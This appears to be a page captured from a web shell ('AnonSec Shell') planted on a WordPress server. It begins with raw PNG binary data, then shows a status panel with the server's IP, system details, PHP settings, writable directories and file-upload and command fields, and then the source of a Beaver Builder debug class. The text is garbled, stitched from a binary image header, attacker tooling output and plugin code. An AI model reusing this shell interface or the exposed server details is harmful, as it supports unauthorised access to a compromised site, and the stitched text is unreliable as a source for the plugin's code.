‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-plugin/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-plugin/classes/class-fl-builder-debug.php
<?php

final class FL_Debug {

	static private $tests = array();

	public static function init() {
		if ( isset( $_GET['fldebug'] ) && get_transient( 'fl_debug_mode', false ) === $_GET['fldebug'] ) {
			if ( isset( $_GET['info'] ) ) {
				phpinfo();
				exit;
			}
			add_action( 'init', array( 'FL_Debug', 'display_tests' ) );
		}

		if ( get_option( 'fl_debug_mode', false ) ) {
			if ( get_transient( 'fl_debug_mode' ) ) {
				self::enable_logging();
				add_filter( 'fl_is_debug', '__return_true' );
			}
		}
	}


	public static function enable_logging() {
		if ( isset( $_GET['showerrors'] ) ) {
			@ini_set( 'display_errors', 1 ); // @codingStandardsIgnoreLine
			@ini_set( 'display_startup_errors', 1 ); // @codingStandardsIgnoreLine
			@error_reporting( E_ALL ); // @codingStandardsIgnoreLine
		}
	}

	public static function display_tests() {

		self::prepare_tests();

		header( 'Content-Type:text/plain' );

		foreach ( (array) self::$tests as $test ) {
			echo self::display( $test );
		}
		die();
	}

	private static function display( $test ) {

		if ( is_array( $test['data'] ) ) {
			$test['data'] = implode( "\n", $test['data'] );
		}
		return isset( $test['name'] ) ? sprintf( "%s\n%s\n\n", $test['name'], $test['data'] ) : sprintf( "%s\n\n", $test['data'] );
	}

	private static function register( $slug, $args ) {
		self::$tests[ $slug ] = $args;
	}

	private static function get_plugins() {

		$plugins = array();
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		require_once ABSPATH . 'wp-admin/includes/update.php';

		$plugins_data = get_plugins();

		foreach ( $plugins_data as $plugin_path => $plugin ) {
			if ( is_plugin_active( $plugin_path ) ) {
				$plugins['active'][] = sprintf( '%s - version %s by %s.', $plugin['Name'], $plugin['Version'], $plugin['Author'] );
			} else {
				$plugins['deactive'][] = sprintf( '%s - version %s by %s.', $plugin['Name'], $plugin['Version'], $plugin['Author'] );
			}
		}
		return $plugins;
	}

	private static function get_mu_plugins() {
		$plugins_data = get_mu_plugins();
		$plugins      = array();

		foreach ( $plugins_data as $plugin_path => $plugin ) {
			$plugins[] = sprintf( '%s version %s by %s', $plugin['Name'], $plugin['Version'], $plugin['Author'] );
		}
		return $plugins;
	}

	public static function safe_ini_get( $ini ) {
		return @ini_get( $ini ); // @codingStandardsIgnoreLine
	}

	private static function divider() {
		return '----------------------------------------------';
	}


	private static function prepare_tests() {

		global $wpdb, $wp_version, $wp_json;

		$args = array(
			'name' => 'WordPress',
			'data' => self::divider(),
		);
		self::register( 'wp', $args );

		$args = array(
			'name' => 'WordPress Address',
			'data' => get_option( 'siteurl' ),
		);
		self::register( 'wp_url', $args );

		$args = array(
			'name' => 'Site Address',
			'data' => get_option( 'home' ),
		);
		self::register( 'site_url', $args );

		$args = array(
			'name' => 'IP',
			'data' => $_SERVER['SERVER_ADDR'],
		);
		self::register( 'wp_ip', $args );

		$args = array(
			'name' => 'WP Version',
			'data' => $wp_version,
		);
		self::register( 'wp_version', $args );

		$args = array(
			'name' => 'WP Debug',
			'data' => defined( 'WP_DEBUG' ) && WP_DEBUG ? 'Yes' : 'No',
		);
		self::register( 'wp_debug', $args );

		$args = array(
			'name' => 'FL Debug',
			'data' => FLBuilder::is_debug() ? 'Yes' : 'No',
		);
		self::register( 'fl_debug', $args );

		$args = array(
			'name' => 'FL Modsec Fix',
			'data' => FLBuilderUtils::is_modsec_fix_enabled() ? 'Yes' : 'No',
		);
		self::register( 'fl_modsec', $args );

		$args = array(
			'name' => 'SSL Enabled',
			'data' => is_ssl() ? 'Yes' : 'No',
		);
		self::register( 'wp_ssl', $args );

		$args = array(
			'name' => 'Language',
			'data' => get_locale(),
		);
		self::register( 'lang', $args );

		$args = array(
			'name' => 'Multisite',
			'data' => is_multisite() ? 'Yes' : 'No',
		);
		self::register( 'is_multi', $args );

		$args = array(
			'name' => 'WordPress memory limit',
			'data' => WP_MAX_MEMORY_LIMIT,
		);
		self::register( 'wp_max_mem', $args );

		if ( get_option( 'upload_path' ) != 'wp-content/uploads' && get_option( 'upload_path' ) ) {
			$args = array(
				'name' => 'Possible Issue: upload_path is set, can lead to cache dir issues and css not loading. Check Settings -> Media for custom path.',
				'data' => get_option( 'upload_path' ),
			);
			self::register( 'wp_media_upload_path', $args );
		}

		if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) {
			$args = array(
				'name' => 'Unfiltered HTML is globally disabled! ( DISALLOW_UNFILTERED_HTML )',
				'data' => 'Yes',
			);
			self::register( 'is_multi', $args );
		}

		$args = array(
			'name' => 'Post Counts',
			'data' => self::divider(),
		);
		self::register( 'post_counts', $args );

		$templates = wp_count_posts( 'fl-builder-template' );

		$post_types = get_post_types( null, 'object' );

		foreach ( $post_types as $type => $type_object ) {

			if ( in_array( $type, array( 'wp_block', 'user_request', 'oembed_cache', 'customize_changeset', 'custom_css', 'nav_menu_item' ) ) ) {
				continue;
			}

			$count = wp_count_posts( $type );

			$args = array(
				'name' => ( 'fl-builder-template' == $type ) ? 'Builder Templates' : 'WordPress ' . $type_object->label,
				'data' => ( $count->inherit > 0 ) ? $count->inherit : $count->publish,
			);
			self::register( 'wp_type_count_' . $type, $args );

			if ( 'fl-builder-history' === $type ) {
				$result = $wpdb->get_results( $wpdb->prepare( "select count(post_id) as total,post_id as ID from $wpdb->postmeta where meta_key LIKE %s group by post_id", '_fl_builder_history_state_%' ) );
				if ( ! empty( $result ) ) {
					$total = count( $result );
					$all   = 0;
					foreach ( $result as $post ) {
						$all += $post->total;
					}
					$avg     = $all / $total;
					$history = sprintf( "\n%s History states across %s Layouts, Average %s", $all, $total, number_format( $avg ) );
				}
				$args = array(
					'name' => 'History States',
					'data' => $history,
				);
				self::register( 'wp_type_count_history_' . $type, $args );

			}
		}

		$args = array(
			'name' => 'Menus',
			'data' => self::divider(),
		);
		self::register( 'menus', $args );

		$menu_data = wp_get_nav_menus();
		$menus     = array();

		$args = array(
			'name' => 'Total Menus',
			'data' => count( $menu_data ),
		);
		self::register( 'menu_count', $args );

		foreach ( (array) $menu_data as $menu ) {
			$args                    = array(
				'name' => $menu->name,
				'data' => $menu->count,
			);
			$menus[ $menu->term_id ] = $menu->name;
			self::register( 'menu_count_' . $menu->slug, $args );
		}

		$args = array(
			'name' => 'Theme Locations',
			'data' => self::divider(),
		);
		self::register( 'themes_location', $args );

		$locations = get_nav_menu_locations();

		foreach ( (array) $locations as $k => $location ) {
			$args = array(
				'name' => ucfirst( $k ),
				'data' => $menus[ $location ] ? 'Menu - ' . $menus[ $location ] : 'No Menu Set',
			);
			self::register( 'menu_location_' . $k, $args );
		}

		$args = array(
			'name' => 'Themes',
			'data' => self::divider(),
		);
		self::register( 'themes', $args );

		$theme = wp_get_theme();
		$args  = array(
			'name' => 'Active Theme',
			'data' => array(
				sprintf( '%s - v%s', $theme->get( 'Name' ), $theme->get( 'Version' ) ),
				sprintf( 'Parent Theme: %s', ( $theme->get( 'Template' ) ) ? $theme->get( 'Template' ) : 'Not a child theme' ),
			),
		);
		self::register( 'active_theme', $args );

		if ( 'bb-theme' === $theme->get( 'Template' ) ) {
			if ( is_dir( trailingslashit( get_stylesheet_directory() ) . 'includes' ) ) {
				$args = array(
					'name' => 'Child Theme includes folder detected.',
					'data' => trailingslashit( get_stylesheet_directory() ) . 'includes/',
				);
				self::register( 'child_includes', $args );
			}

			if ( is_dir( trailingslashit( get_stylesheet_directory() ) . 'fl-builder/modules' ) ) {
				$modules = glob( trailingslashit( get_stylesheet_directory() ) . 'fl-builder/modules/*' );
				if ( ! empty( $modules ) ) {
					$args = array(
						'name' => 'Child Theme builder modules folder detected.',
						'data' => implode( "\n", $modules ),
					);
					self::register( 'child_bb_modules', $args );
				}
			}
		}

		// child theme functions
		if ( $theme->get( 'Template' ) ) {
			$functions_file = trailingslashit( get_stylesheet_directory() ) . 'functions.php';
			$contents       = file_exists( $functions_file ) ? file_get_contents( $functions_file ) : 'No functions.php found.';

			$args = array(
				'name' => 'Child Theme Functions',
				'data' => $contents,
			);
			self::register( 'child_funcs', $args );
		}

		$args = array(
			'name' => 'Plugins',
			'data' => self::divider(),
		);
		self::register( 'plugins', $args );

		$args = array(
			'name' => 'Plugins',
			'data' => self::divider(),
		);
		self::register( 'wp_plugins', $args );

		$defaults = array(
			'active'   => array(),
			'deactive' => array(),
		);

		$plugins = wp_parse_args( self::get_plugins(), $defaults );
		$args    = array(
			'name' => 'Active Plugins',
			'data' => $plugins['active'],
		);
		self::register( 'wp_plugins', $args );

		$args = array(
			'name' => 'Unactive Plugins',
			'data' => $plugins['deactive'],
		);
		self::register( 'wp_plugins_deactive', $args );

		$args = array(
			'name' => 'Must-Use Plugins',
			'data' => self::get_mu_plugins(),
		);
		self::register( 'mu_plugins', $args );

		$args = array(
			'name' => 'PHP',
			'data' => self::divider(),
		);
		self::register( 'php', $args );

		$args = array(
			'name' => 'PHP SAPI',
			'data' => php_sapi_name(),
		);
		self::register( 'php_sapi', $args );

		$args = array(
			'name' => 'PHP JSON Support',
			'data' => ( $wp_json instanceof Services_JSON ) ? '*** NO JSON MODULE ***' : 'yes',
		);
		self::register( 'php_json', $args );

		$args = array(
			'name' => 'PHP Memory Limit',
			'data' => self::safe_ini_get( 'memory_limit' ),
		);
		self::register( 'php_mem_limit', $args );

		$args = array(
			'name' => 'PHP Version',
			'data' => phpversion(),
		);
		self::register( 'php_ver', $args );

		$args = array(
			'name' => 'Post Max Size',
			'data' => self::safe_ini_get( 'post_max_size' ),
		);
		self::register( 'post_max', $args );

		$args = array(
			'name' => 'Max Upload Size',
			'data' => FLBuilderUtils::formatbytes( wp_max_upload_size() ),
		);
		self::register( 'post_max_upload', $args );

		$args = array(
			'name' => 'PHP Max Input Vars',
			'data' => self::safe_ini_get( 'max_input_vars' ),
		);
		self::register( 'post_max_input', $args );

		$args = array(
			'name' => 'PHP Max Execution Time',
			'data' => self::safe_ini_get( 'max_execution_time' ),
		);
		self::register( 'post_max_time', $args );

		$args = array(
			'name' => 'Display Errors',
			'data' => self::safe_ini_get( 'display_errors' ) ? 'Enabled' : 'Disabled',
		);
		self::register( 'display_errors', $args );

		$curl = ( function_exists( 'curl_version' ) ) ? curl_version() : false;
		$args = array(
			'name' => 'Curl',
			'data' => ( $curl ) ? sprintf( '%s - %s', $curl['version'], $curl['ssl_version'] ) : 'Not Enabled.',
		);
		self::register( 'curl', $args );

		$args = array(
			'name' => 'PCRE Backtrack Limit ( default 1000000 )',
			'data' => self::safe_ini_get( 'pcre.backtrack_limit' ),
		);
		self::register( 'backtrack', $args );

		$args = array(
			'name' => 'PCRE Recursion Limit ( default 100000 )',
			'data' => self::safe_ini_get( 'pcre.recursion_limit' ),
		);
		self::register( 'recursion', $args );

		$zlib = self::safe_ini_get( 'zlib.output_compression' );

		if ( $zlib ) {
			$args = array(
				'name' => 'ZLIB Output Compression',
				'data' => $zlib,
			);
			self::register( 'zlib', $args );
		}

		$zlib_handler = self::safe_ini_get( 'zlib.output_handler' );

		if ( $zlib_handler ) {
			$args = array(
				'name' => 'ZLIB Handler',
				'data' => $zlib,
			);
			self::register( 'zlib_handler', $zlib_handler );
		}

		$args = array(
			'name' => 'BB Products',
			'data' => self::divider(),
		);
		self::register( 'bb', $args );

		$info = get_option( '_fl_builder_update_info', array() );
		$from = '';
		if ( isset( $info['from'] ) && ! empty( $info['from'] ) ) {
			$from = ' - Previous ' . $info['from'];
		}
		$args = array(
			'name' => 'Beaver Builder',
			'data' => FL_BUILDER_VERSION . $from,
		);
		self::register( 'bb_version', $args );

		$args = array(
			'name' => 'Beaver Themer',
			'data' => ( defined( 'FL_THEME_BUILDER_VERSION' ) ) ? FL_THEME_BUILDER_VERSION : 'Not active/installed.',
		);
		self::register( 'themer_version', $args );

		$args = array(
			'name' => 'Beaver Theme',
			'data' => ( defined( 'FL_THEME_VERSION' ) ) ? FL_THEME_VERSION : 'Not active/installed.',
		);
		self::register( 'theme_version', $args );

		$args = array(
			'name' => 'Assistant',
			'data' => ( defined( 'FL_ASSISTANT_VERSION' ) ) ? FL_ASSISTANT_VERSION : 'Not active/installed.',
		);
		if ( defined( 'FL_ASSISTANT_BB_EXTENSION' ) && FL_ASSISTANT_BB_EXTENSION ) {
			$args['data'] .= ' (bundled)';
		}
		self::register( 'assistant_version', $args );

		$args = array(
			'name' => 'Modules',
			'data' => self::divider(),
		);
		self::register( 'modules', $args );

		$enabled_modules = FLBuilderModel::get_enabled_modules();
		sort( $enabled_modules );

		$all_modules      = FLBuilderModel::get_uncategorized_modules( true );
		$all_modules_list = array();

		foreach ( $all_modules as $module ) {
			if ( isset( $module->slug ) ) {
				array_push( $all_modules_list, $module->slug );
			}
		}

		$disabled_modules = array_filter( array_diff( $all_modules_list, $enabled_modules ) );

		$args = array(
			'name' => 'Disabled Modules',
			'data' => $disabled_modules,
		);
		self::register( 'disabled_modules', $args );

		$args = array(
			'name' => 'Enabled Modules',
			'data' => $enabled_modules,
		);
		self::register( 'enabled_modules', $args );

		$args = array(
			'name' => 'Cache Folders',
			'data' => self::divider(),
		);
		self::register( 'cache_folders', $args );

		$cache = FLBuilderModel::get_cache_dir();

		$args = array(
			'name' => 'Beaver Builder Cache Path',
			'data' => $cache['path'],
		);
		self::register( 'bb_cache_path', $args );

		$args = array(
			'name' => 'Beaver Builder Path writable',
			'data' => ( fl_builder_filesystem()->is_writable( $cache['path'] ) ) ? 'Yes' : 'No',
		);
		self::register( 'bb_cache_path_writable', $args );

		if ( class_exists( 'FLCustomizer' ) ) {
			$cache = FLCustomizer::get_cache_dir();

			$args = array(
				'name' => 'Beaver Theme Cache Path',
				'data' => $cache['path'],
			);
			self::register( 'bb_theme_cache_path', $args );

			$args = array(
				'name' => 'Beaver Theme Path writable',
				'data' => ( fl_builder_filesystem()->is_writable( $cache['path'] ) ) ? 'Yes' : 'No',
			);
			self::register( 'bb_theme_cache_path_writable', $args );
		}

		$args = array(
			'name' => 'WordPress Content Path',
			'data' => WP_CONTENT_DIR,
		);
		self::register( 'bb_content_path', $args );

		$args = array(
			'name' => 'License',
			'data' => self::divider(),
		);
		self::register( 'license', $args );

		if ( true === FL_BUILDER_LITE ) {
			$args = array(
				'name' => 'Beaver Builder License',
				'data' => 'Lite version detected',
			);
			self::register( 'bb_sub_lite', $args );

		} elseif ( class_exists( 'FLUpdater' ) ) {
			$subscription = FLUpdater::get_subscription_info();
			$args         = array(
				'name' => 'Beaver Builder License',
				'data' => ( isset( $subscription->active ) && ! isset( $subscription->error ) ) ? 'Active' : 'Not Active',
			);
			self::register( 'bb_sub', $args );

			if ( isset( $subscription->error ) ) {
				$args = array(
					'name' => 'License Error',
					'data' => $subscription->error,
				);
				self::register( 'bb_sub_err', $args );
			}

			if ( isset( $subscription->domain ) ) {
				$args = array(
					'name' => 'Domain Active',
					'data' => ( '1' == $subscription->domain->active ) ? 'Yes' : 'No',
				);
				self::register( 'bb_sub_domain', $args );
			}
			if ( isset( $subscription->downloads ) && is_array( $subscription->downloads ) && ! empty( $subscription->downloads ) ) {
				$args = array(
					'name' => 'Available Downloads',
					'data' => implode( "\n", $subscription->downloads ),
				);
				self::register( 'av_downloads', $args );
			}
		}

		self::register( 'adv', array(
			'name' => 'Advanced Options',
			'data' => self::divider(),
		) );

		$adv_opts = FLBuilderAdminAdvanced::get_settings();
		$opts     = array();
		foreach ( $adv_opts as $key => $opt ) {
			$option = get_option( "_fl_builder_{$key}", $opt['default'] ) ? 'Enabled' : 'Disabled';
			$opts[] = sprintf( '%s: %s', $opt['label'], $option );
		}
		$args = array(
			'data' => $opts,
		);
		self::register( 'adv_settings', $args );

		$args = array(
			'name' => 'Server',
			'data' => self::divider(),
		);
		self::register( 'serv', $args );

		$args = array(
			'name' => 'MySQL Version',
			'data' => ( ! empty( $wpdb->is_mysql ) ? $wpdb->db_version() : 'Unknown' ),
		);
		self::register( 'mysql_version', $args );

		$results = (array) $wpdb->get_results( 'SHOW VARIABLES' );

		foreach ( $results as $k => $result ) {
			if ( 'max_allowed_packet' === $result->Variable_name ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
				$args = array(
					'name' => 'MySQL Max Allowed Packet',
					'data' => number_format( $result->Value / 1048576 ) . 'MB', // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
				);
				self::register( 'mysql_packet', $args );
			}
		}

		$db_bytes = $wpdb->get_var(
			$wpdb->prepare(
				'SELECT SUM(data_length + index_length) FROM information_schema.TABLES where table_schema = %s GROUP BY table_schema;',
				DB_NAME
			)
		);

		if ( is_numeric( $db_bytes ) ) {
			$args = array(
				'name' => 'MySQL Database Size',
				'data' => number_format( $db_bytes / 1048576 ) . 'MB',
			);
			self::register( 'mysql_size', $args );
		}

		$collation = $wpdb->get_var( "SELECT TABLE_COLLATION FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '{$wpdb->postmeta}';" );
		$args      = array(
			'name' => 'PostMeta DB Collation',
			'data' => $collation,
		);
		self::register( 'collationdb', $args );

		$args = array(
			'name' => 'DB_CHARSET',
			'data' => defined( 'DB_CHARSET' ) && DB_CHARSET ? DB_CHARSET : 'Undefined',
		);
		self::register( 'charset', $args );

		$args = array(
			'name' => 'DB_COLLATE',
			'data' => defined( 'DB_COLLATE' ) && DB_COLLATE ? DB_COLLATE : 'Undefined',
		);
		self::register( 'collation', $args );

		$args = array(
			'name' => 'Server Info',
			'data' => $_SERVER['SERVER_SOFTWARE'],
		);
		self::register( 'server', $args );

		$args = array(
			'name' => 'htaccess files',
			'data' => self::divider(),
		);
		self::register( 'up_htaccess', $args );

		// detect uploads folder .htaccess file and display it if found.
		$uploads          = wp_upload_dir( null, false );
		$uploads_htaccess = trailingslashit( $uploads['basedir'] ) . '.htaccess';
		$root_htaccess    = trailingslashit( ABSPATH ) . '.htaccess';

		if ( file_exists( $root_htaccess ) ) {
			ob_start();
			readfile( $root_htaccess );
			$htaccess = ob_get_clean();
			$args     = array(
				'name' => $root_htaccess . "\n",
				'data' => $htaccess,
			);
			self::register( 'up_htaccess_root', $args );
		}
		if ( file_exists( $uploads_htaccess ) ) {
			ob_start();
			readfile( $uploads_htaccess );
			$htaccess = ob_get_clean();
			$args     = array(
				'name' => $uploads_htaccess . "\n",
				'data' => $htaccess,
			);
			self::register( 'up_htaccess_uploads', $args );
		}
	}
}
add_action( 'plugins_loaded', array( 'FL_Debug', 'init' ) );

Anon7 - 2022
AnonSec Team